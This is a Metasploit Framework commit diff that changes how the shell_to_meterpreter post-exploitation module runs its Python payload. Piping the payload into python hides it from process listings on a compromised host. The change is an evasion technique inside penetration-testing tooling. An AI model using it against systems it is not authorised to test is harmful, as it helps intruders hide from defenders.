Land rapid7#7909, Python process hiding for sessions -u

Author: wvu

modules/post/multi/manage/shell_to_meterpreter.rb

@@ -174,7 +174,7 @@ def run
       end
     when 'python'
       vprint_status("Transfer method: Python")
-      cmd_exec("python -c \"#{payload_data}\"")
+      cmd_exec("echo \"#{payload_data}\" | python")
     else
       vprint_status("Transfer method: Bourne shell [fallback]")
       exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)